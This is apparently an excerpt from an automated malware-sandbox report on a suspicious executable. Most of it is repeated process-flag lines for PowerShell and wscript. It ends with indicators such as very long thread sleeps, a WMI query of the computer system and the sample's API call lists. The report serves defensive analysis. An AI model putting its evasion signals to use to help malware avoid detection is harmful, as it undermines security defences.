        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6363Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1640Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7304Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1933Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 364Thread sleep time: -5534023222112862s >= -30000sJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7056Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exe TID: 2616Thread sleep time: -30000s >= -30000sJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4196Thread sleep time: -5534023222112862s >= -30000sJump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3416Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
        Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCA383 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00BCA383
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BEA02E FindFirstFileExA,0_2_00BEA02E
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDB014 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,0_2_00BDB014
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDD3A8 VirtualQuery,GetSystemInfo,0_2_00BDD3A8
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
